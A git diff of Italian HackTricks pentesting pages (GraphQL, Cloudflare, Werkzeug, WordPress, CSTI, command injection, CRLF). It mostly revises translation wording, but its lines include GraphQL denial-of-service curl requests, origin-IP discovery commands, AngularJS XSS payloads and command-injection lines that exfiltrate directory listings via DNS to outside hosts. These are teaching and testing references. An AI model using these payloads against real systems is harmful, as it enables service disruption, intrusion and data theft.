Per una comprensione dettagliata degli alias GraphQL, si consiglia la seguente risorsa: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il **numero di richieste HTTP**. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ogni richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.
Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il **numero di richieste HTTP**. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ciascuna richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.
Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe aggirare la limitazione della velocità poiché compila diverse query in una sola richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe aggirare la limitazione della velocità poiché compila diverse query in una richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -491,14 +488,14 @@ valid
### Alias Overloading
**Alias Overloading** è una vulnerabilità di GraphQL in cui gli attaccanti sovraccaricano una query con molti alias per lo stesso campo, causando l'esecuzione ripetuta di quel campo da parte del risolutore backend. Questo può sovraccaricare le risorse del server, portando a un **Denial of Service (DoS)**. Ad esempio, nella query sottostante, lo stesso campo (`expensiveField`) viene richiesto 1.000 volte utilizzando alias, costringendo il backend a calcolarlo 1.000 volte, potenzialmente esaurendo CPU o memoria:
**Alias Overloading** è una vulnerabilità di GraphQL in cui gli attaccanti sovraccaricano una query con molti alias per lo stesso campo, causando l'esecuzione ripetuta di quel campo da parte del risolutore backend. Questo può sovraccaricare le risorse del server, portando a un **Denial of Service (DoS)**. Ad esempio, nella query sottostante, lo stesso campo (`expensiveField`) viene richiesto 1.000 volte utilizzando alias, costringendo il backend a calcolarlo 1.000 volte, potenzialmente esaurendo la CPU o la memoria:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
Per mitigare questo, implementa limiti sul conteggio degli alias, analisi della complessità delle query o limitazione della frequenza per prevenire l'abuso delle risorse.
Per mitigare questo, implementa limiti sul conteggio degli alias, analisi della complessità delle query o limitazione della velocità per prevenire l'abuso delle risorse.
### **Batching delle Query Basato su Array**
@ -510,11 +507,11 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
```
In questo esempio, 10 query diverse vengono raggruppate in una sola richiesta, costringendo il server a eseguire tutte simultaneamente. Se sfruttato con una dimensione del batch più grande o query computazionalmente costose, può sovraccaricare il server.
In questo esempio, 10 diverse query vengono raggruppate in una sola richiesta, costringendo il server a eseguire tutte simultaneamente. Se sfruttato con una dimensione del batch più grande o query computazionalmente costose, può sovraccaricare il server.
### **Vulnerabilità da Sovraccarico di Direttive**
**Sovraccarico di Direttive** si verifica quando un server GraphQL consente query con direttive eccessive e duplicate. Questo può sopraffare il parser e l'esecutore del server, specialmente se il server elabora ripetutamente la stessa logica di direttiva. Senza una corretta validazione o limiti, un attaccante può sfruttare questo creando una query con numerose direttive duplicate per attivare un elevato utilizzo computazionale o di memoria, portando a **Denial of Service (DoS)**.
**Sovraccarico di Direttive** si verifica quando un server GraphQL consente query con direttive eccessive e duplicate. Questo può sopraffare il parser e l'esecutore del server, specialmente se il server elabora ripetutamente la stessa logica di direttiva. Senza una valida validazione o limiti, un attaccante può sfruttare questo creando una query con numerose direttive duplicate per attivare un elevato utilizzo computazionale o di memoria, portando a **Denial of Service (DoS)**.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -553,7 +550,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testa le configurazioni errate comuni degli endpoint graphql
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script di auditing della sicurezza GraphQL con un focus sull'esecuzione di query e mutazioni batch GraphQL.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica il fingerprint del graphql in uso
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerprint del graphql in uso
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit che può essere utilizzato per raccogliere schemi e cercare dati sensibili, testare autorizzazioni, forzare schemi e trovare percorsi per un dato tipo.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Può essere utilizzato come standalone o [estensione Burp](https://github.com/doyensec/inql).
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Può essere utilizzato anche come client CLI per automatizzare attacchi
@ -569,7 +566,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### Test automatici
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- Video che spiega AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
@ -583,5 +582,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}

8
src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
View File

@ -14,7 +14,7 @@
## Strumenti per scoprire Cloudflare
- Cerca il dominio all'interno di [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Oppure usa lo strumento [CloudPeler](https://github.com/zidansec/CloudPeler) (che utilizza quell'API)
- Cerca il dominio all'interno di [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) o [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com). Oppure usa lo strumento [CloudPeler](https://github.com/zidansec/CloudPeler) (che utilizza quella API)
- Cerca il dominio in [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)
- [**CloudFlair**](https://github.com/christophetd/CloudFlair) è uno strumento che cercherà utilizzando i certificati Censys che contengono il nome del dominio, poi cercherà gli IPv4 all'interno di quei certificati e infine cercherà di accedere alla pagina web in quegli IP.
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r è un potente strumento Python meticolosamente progettato per scoprire il vero indirizzo IP dei siti web protetti da Cloudflare e altre alternative, un servizio ampiamente adottato per la sicurezza web e il miglioramento delle prestazioni. La sua missione principale è discernere accuratamente il vero indirizzo IP dei server web che sono nascosti dietro lo scudo protettivo di Cloudflare.
@ -41,7 +41,9 @@ Nota che anche se questo è stato fatto per macchine AWS, potrebbe essere fatto
Per una migliore descrizione di questo processo controlla:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -55,7 +57,7 @@ cat webs.json | jq -r "select((.failed==false) and (.chain_status_codes | length
# Search via Host header
httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.com -threads 250 -random-agent -follow-redirects -o web_checks.json
```
## Bypassare Cloudflare tramite Cloudflare
## Bypassare Cloudflare attraverso Cloudflare
### Pulls di Origine Autenticati

12
src/network-services-pentesting/pentesting-web/werkzeug.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Console RCE
Se il debug è attivo, potresti provare ad accedere a `/console` e ottenere RCE.
@ -17,7 +16,7 @@ Ci sono anche diversi exploit su internet come [questo](https://github.com/its-a
In alcune occasioni, l'endpoint **`/console`** sarà protetto da un pin. Se hai una **vulnerabilità di traversata del file**, puoi leakare tutte le informazioni necessarie per generare quel pin.
### Exploit del PIN della Console di Werkzeug
### Exploit del PIN della Console Werkzeug
Forza una pagina di errore di debug nell'app per vedere questo:
```
@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Un messaggio riguardante lo scenario "console bloccata" viene visualizzato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Si suggerisce di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (`__init__.py`). Il meccanismo di generazione del PIN può essere studiato dal [**repository del codice sorgente di Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), anche se si consiglia di procurarsi il codice del server effettivo tramite una vulnerabilità di traversamento di file a causa di potenziali discrepanze di versione.
Un messaggio riguardante lo scenario "console bloccata" viene visualizzato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Si suggerisce di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (`__init__.py`). Il meccanismo di generazione del PIN può essere studiato dal [**Werkzeug source code repository**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), anche se si consiglia di procurarsi il codice del server effettivo tramite una vulnerabilità di traversamento di file a causa di potenziali discrepanze di versione.
Per sfruttare il PIN della console, sono necessari due set di variabili, `probably_public_bits` e `private_bits`:
@ -141,7 +140,7 @@ rv = num
print(rv)
```
Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console di Werkzeug.
Questo script produce il PIN hashando i bit concatenati, aggiungendo sali specifici (`cookiesalt` e `pinsalt`), e formattando l'output. È importante notare che i valori effettivi per `probably_public_bits` e `private_bits` devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console Werkzeug.
> [!TIP]
> Se sei su una **vecchia versione** di Werkzeug, prova a cambiare l'**algoritmo di hashing in md5** invece di sha1.
@ -154,7 +153,9 @@ Questo perché, in Werkzeug è possibile inviare alcuni caratteri **Unicode** e
## Sfruttamento Automatizzato
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## Riferimenti
@ -163,5 +164,4 @@ Questo perché, in Werkzeug è possibile inviare alcuni caratteri **Unicode** e
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
{{#include ../../banners/hacktricks-training.md}}

26
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -17,7 +17,7 @@
- `index.php`
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
- `wp-activate.php` è utilizzato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
- Cartelle di login (potrebbero essere rinominate per nasconderle):
- Cartelle di login (possono essere rinominate per nasconderle):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
@ -35,10 +35,10 @@
### Permessi degli utenti
- **Amministratore**
- **Editore**: Pubblica e gestisce i propri e gli altri post
- **Editore**: Pubblica e gestisce i suoi e gli altri post
- **Autore**: Pubblica e gestisce i propri post
- **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
- **Sottoscrittore**: Naviga nei post e modifica il proprio profilo
- **Iscritto**: Naviga tra i post e modifica il proprio profilo
## **Enumerazione passiva**
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- File di collegamento CSS
- file di collegamento CSS
![](<../../images/image (533).png>)
- File JavaScript
- file JavaScript
![](<../../images/image (524).png>)
@ -103,13 +103,13 @@ Nota che questo endpoint espone solo gli utenti che hanno effettuato un post. **
Nota anche che **/wp-json/wp/v2/pages** potrebbe rivelare indirizzi IP.
- **Enumerazione degli username di login**: Quando si effettua il login in **`/wp-login.php`** il **messaggio** è **diverso** se il **nome utente esiste o meno**.
- **Enumerazione degli username di login**: Quando si effettua il login in **`/wp-login.php`**, il **messaggio** è **diverso** se il **nome utente esiste o meno**.
### XML-RPC
Se `xml-rpc.php` è attivo puoi eseguire un attacco di brute-force sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
Se `xml-rpc.php` è attivo, puoi eseguire un attacco di brute-force sulle credenziali o usarlo per lanciare attacchi DoS su altre risorse. (Puoi automatizzare questo processo[ usando questo](https://github.com/relarizky/wpxploit) per esempio).
Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
Per vedere se è attivo, prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
**Controlla**
```markup
@ -134,7 +134,7 @@ Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa ric
```
Il messaggio _"Nome utente o password errati"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
@ -225,7 +225,9 @@ Questa è la risposta quando non funziona:
## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Questo strumento controlla se il **methodName: pingback.ping** e per il percorso **/wp-json/oembed/1.0/proxy** e se esiste, cerca di sfruttarli.
@ -267,7 +269,7 @@ per ottenere una sessione.
### Plugin PHP
Potrebbe essere possibile caricare file .php come plugin.\
Crea il tuo backdoor php utilizzando ad esempio:
Crea il tuo backdoor php usando ad esempio:
![](<../../images/image (183).png>)
@ -316,7 +318,7 @@ Il contenuto include ausili visivi che mostrano i passaggi nella dashboard di Wo
- _**(RCE) Caricamento di Plugin Personalizzati (backdoor):**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
- _**(RCE) Modifica di Plugin Integrati:**_ Modifica un Plugin Integrato in WordPress.
- _**(RCE) Modifica di Temi Integrati:**_ Modifica un Tema Integrato in WordPress.
- _**(Personalizzato) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Temi di Terze Parti di WordPress.
- _**(Personalizzato) Exploit Personalizzati:**_ Exploit Personalizzati per Plugin/Tema di Terze Parti di WordPress.
## Post Sfruttamento

15
src/other-web-tricks.md
View File

@ -2,19 +2,17 @@
{{#include ./banners/hacktricks-training.md}}
### Intestazione Host
Diverse volte il back-end si fida dell'**Intestazione Host** per eseguire alcune azioni. Ad esempio, potrebbe utilizzare il suo valore come **dominio per inviare un ripristino della password**. Quindi, quando ricevi un'email con un link per ripristinare la tua password, il dominio utilizzato è quello che hai inserito nell'Intestazione Host. Poi, puoi richiedere il ripristino della password di altri utenti e cambiare il dominio in uno controllato da te per rubare i loro codici di ripristino della password. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
Diverse volte il back-end si fida dell'**intestazione Host** per eseguire alcune azioni. Ad esempio, potrebbe utilizzare il suo valore come **dominio per inviare un ripristino della password**. Quindi, quando ricevi un'email con un link per ripristinare la tua password, il dominio utilizzato è quello che hai inserito nell'intestazione Host. Poi, puoi richiedere il ripristino della password di altri utenti e cambiare il dominio in uno controllato da te per rubare i loro codici di ripristino della password. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> Nota che è possibile che tu non debba nemmeno aspettare che l'utente clicchi sul link per ripristinare la password per ottenere il token, poiché anche **i filtri antispam o altri dispositivi/bot intermedi potrebbero cliccarci sopra per analizzarlo**.
### Booleani di sessione
A volte, quando completi correttamente alcune verifiche, il back-end **aggiunge semplicemente un booleano con il valore "True" a un attributo di sicurezza della tua sessione**. Poi, un endpoint diverso saprà se hai superato con successo quel controllo.\
Tuttavia, se **superi il controllo** e la tua sessione riceve quel valore "True" nell'attributo di sicurezza, puoi provare ad **accedere ad altre risorse** che **dipendono dallo stesso attributo** ma a cui **non dovresti avere permessi** di accesso. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
Tuttavia, se **superi il controllo** e alla tua sessione viene concesso quel valore "True" nell'attributo di sicurezza, puoi provare ad **accedere ad altre risorse** che **dipendono dallo stesso attributo** ma a cui **non dovresti avere permessi** di accesso. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### Funzionalità di registrazione
@ -22,11 +20,13 @@ Prova a registrarti come un utente già esistente. Prova anche a utilizzare cara
### Prendere il controllo delle email
Registrati con un'email, prima di confermarla cambia l'email, poi, se la nuova email di conferma viene inviata alla prima email registrata, puoi prendere il controllo di qualsiasi email. Oppure, se puoi abilitare la seconda email confermando la prima, puoi anche prendere il controllo di qualsiasi account.
Registrati con un'email, prima di confermarla cambia l'email, poi, se la nuova email di conferma viene inviata alla prima email registrata, puoi prendere il controllo di qualsiasi email. Oppure, se puoi abilitare la seconda email che conferma la prima, puoi anche prendere il controllo di qualsiasi account.
### Accesso al servizio interno di assistenza delle aziende che utilizzano Atlassian
### Accesso al servicedesk interno delle aziende che utilizzano Atlassian
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### Metodo TRACE
@ -34,5 +34,4 @@ Gli sviluppatori potrebbero dimenticare di disabilitare varie opzioni di debug n
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}

4
src/pentesting-web/captcha-bypass.md
View File

@ -32,6 +32,8 @@ Per **bypassare** il captcha durante il **testing del server** e automatizzare l
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) è un servizio alimentato da AI che si specializza nella risoluzione automatica di vari tipi di captcha, potenziando la raccolta di dati aiutando gli sviluppatori a superare facilmente le sfide del captcha incontrate durante il Web Scraping. Supporta captcha come **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest e Cloudflare turnstile tra gli altri**. Per gli sviluppatori, Capsolver offre opzioni di integrazione API dettagliate nella [**documentazione**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando l'integrazione della risoluzione del captcha nelle applicazioni. Forniscono anche estensioni per browser per [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) e [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), rendendo facile utilizzare il loro servizio direttamente all'interno di un browser. Sono disponibili diversi pacchetti di prezzo per soddisfare esigenze varie, garantendo flessibilità per gli utenti.
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

11
src/pentesting-web/client-side-template-injection-csti.md
View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Riepilogo
È simile a un [**Server Side Template Injection**](ssti-server-side-template-injection/) ma nel **client**. Il **SSTI** può consentirti di **eseguire codice** sul server remoto, il **CSTI** potrebbe consentirti di **eseguire codice JavaScript arbitrario** nel browser della vittima.
@ -13,7 +12,7 @@
AngularJS è un framework JavaScript ampiamente utilizzato che interagisce con HTML attraverso attributi noti come direttive, una delle quali è **`ng-app`**. Questa direttiva consente ad AngularJS di elaborare il contenuto HTML, abilitando l'esecuzione di espressioni JavaScript all'interno di doppie parentesi graffe.
In scenari in cui l'input dell'utente viene inserito dinamicamente nel corpo HTML contrassegnato con `ng-app`, è possibile eseguire codice JavaScript arbitrario. Questo può essere ottenuto sfruttando la sintassi di AngularJS all'interno dell'input. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:
In scenari in cui l'input dell'utente viene inserito dinamicamente nel corpo HTML contrassegnato con `ng-app`, è possibile eseguire codice JavaScript arbitrario. Questo può essere realizzato sfruttando la sintassi di AngularJS all'interno dell'input. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -24,8 +23,7 @@ In scenari in cui l'input dell'utente viene inserito dinamicamente nel corpo HTM
```
Puoi trovare un **esempio online molto base** della vulnerabilità in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) e in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
> [!CAUTION]
> [**Angular 1.6 ha rimosso il sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) quindi da questa versione un payload come `{{constructor.constructor('alert(1)')()}}` o `<input ng-focus=$event.view.alert('XSS')>` dovrebbe funzionare.
> [!CAUTION] > [**Angular 1.6 ha rimosso il sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) quindi da questa versione un payload come `{{constructor.constructor('alert(1)')()}}` o `<input ng-focus=$event.view.alert('XSS')>` dovrebbe funzionare.
## VueJS
@ -73,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **Elenco di Rilevamento Brute-Force**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

9
src/pentesting-web/command-injection.md
View File

@ -2,7 +2,6 @@
{{#include ../banners/hacktricks-training.md}}
## Cos'è l'iniezione di comandi?
Un **command injection** consente l'esecuzione di comandi arbitrari del sistema operativo da parte di un attaccante sul server che ospita un'applicazione. Di conseguenza, l'applicazione e tutti i suoi dati possono essere completamente compromessi. L'esecuzione di questi comandi consente tipicamente all'attaccante di ottenere accesso non autorizzato o controllo sull'ambiente dell'applicazione e sul sistema sottostante.
@ -30,7 +29,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **Limitazioni** Bypass
### **Bypass delle Limitazioni**
Se stai cercando di eseguire **comandi arbitrari all'interno di una macchina linux** ti interesserà leggere riguardo a questi **Bypass:**
@ -100,7 +99,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Strumenti online per controllare l'esfiltrazione di dati basata su DNS:
Strumenti online per controllare l'exfiltrazione di dati basata su DNS:
- dnsbin.zhack.ca
- pingb.in
@ -120,7 +119,9 @@ powershell C:**2\n??e*d.*? # notepad
## Elenco di Rilevamento Brute-Force
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## Riferimenti

28
src/pentesting-web/crlf-0d-0a.md
View File

@ -2,21 +2,19 @@
{{#include ../banners/hacktricks-training.md}}
### CRLF
Il Carriage Return (CR) e il Line Feed (LF), collettivamente noti come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per denotare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra le intestazioni HTTP e il corpo di una risposta. Questi caratteri sono impiegati universalmente nelle comunicazioni HTTP/1.1 attraverso vari tipi di server web, come Apache e Microsoft IIS.
### Vulnerabilità da Iniezione CRLF
### Vulnerabilità di Iniezione CRLF
L'iniezione CRLF comporta l'inserimento di caratteri CR e LF nell'input fornito dall'utente. Questa azione inganna il server, l'applicazione o l'utente facendoli interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Sebbene questi caratteri non siano intrinsecamente dannosi, il loro uso improprio può portare a una divisione della risposta HTTP e ad altre attività malevole.
### Esempio: Iniezione CRLF in un File di Log
[Esempio da qui](https://www.invicti.com/blog/web-security/crlf-http-header/)
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
Considera un file di log in un pannello di amministrazione che segue il formato: `IP - Ora - Percorso Visitato`. Un'entrata tipica potrebbe apparire così:
Considera un file di log in un pannello di amministrazione che segue il formato: `IP - Time - Visited Path`. Un'entrata tipica potrebbe apparire così:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
@ -42,7 +40,7 @@ HTTP Response Splitting è una vulnerabilità di sicurezza che si verifica quand
#### XSS attraverso HTTP Response Splitting
1. L'applicazione imposta un'intestazione personalizzata come questa: `X-Custom-Header: UserInput`
2. L'applicazione recupera il valore per `UserInput` da un parametro di query, diciamo "user_input". In scenari privi di una corretta validazione e codifica dell'input, un attaccante può creare un payload che include la sequenza CRLF, seguita da contenuti malevoli.
2. L'applicazione recupera il valore per `UserInput` da un parametro di query, ad esempio "user_input". In scenari privi di una corretta validazione e codifica dell'input, un attaccante può creare un payload che include la sequenza CRLF, seguita da contenuto malevolo.
